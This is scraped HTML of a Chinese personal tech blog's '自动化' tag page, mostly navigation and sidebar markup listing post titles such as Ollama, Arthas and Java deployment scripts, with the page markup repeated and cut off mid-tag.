cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E8%87%AA%E5%8A%A8%E5%8C%96/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E8%87%AA%E5%8A%A8%E5%8C%96/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>自动化 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="自动化 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/自动化"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="自动化 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E8%87%AA%E5%8A%A8%E5%8C%96/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E8%87%AA%E5%8A%A8%E5%8C%96/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a 